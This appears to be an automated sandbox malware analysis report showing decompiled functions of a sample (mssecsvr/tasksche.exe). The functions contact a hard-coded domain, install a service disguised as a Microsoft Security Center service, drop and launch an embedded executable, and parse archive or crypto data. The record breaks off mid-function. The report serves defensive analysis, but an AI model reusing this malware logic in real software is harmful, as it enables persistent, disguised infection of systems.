Associated: 00000007.00000002.990973656.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990987500.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991123510.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991151665.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000007.00000002.990922076.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.990912772.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990957313.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990973656.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990987500.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991123510.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991151665.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F54FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000007.00000002.990922076.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.990912772.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990957313.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990973656.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990987500.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991123510.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991151665.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F54FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C

Strings

/i, xrefs: 00407E8D
C:\%s\qeriuwjhrf, xrefs: 00407E12
WriteFile, xrefs: 00407D1C
C:\%s\%s, xrefs: 00407DFB
kernel32.dll, xrefs: 00407CEA
tasksche.exe, xrefs: 00407DEA
CloseHandle, xrefs: 00407D29
WINDOWS, xrefs: 00407DF2, 00407E0D
CreateProcessA, xrefs: 00407D07
D, xrefs: 00407ED3
CreateFileA, xrefs: 00407D0F

Memory Dump Source

Source File: 00000007.00000002.990922076.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.990912772.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990957313.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990973656.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.990987500.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991123510.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991151665.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 7032, Parent PID: 6876COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	36

Executed Functions

Function 0040FEF0 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x3
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x3
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

sfxname, xrefs: 0040FFBB
winrarsfxmappingfile.tmp, xrefs: 0040FF44
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
STARTDLG, xrefs: 0041008F
sfxstime, xrefs: 0041000C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-3710569615
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
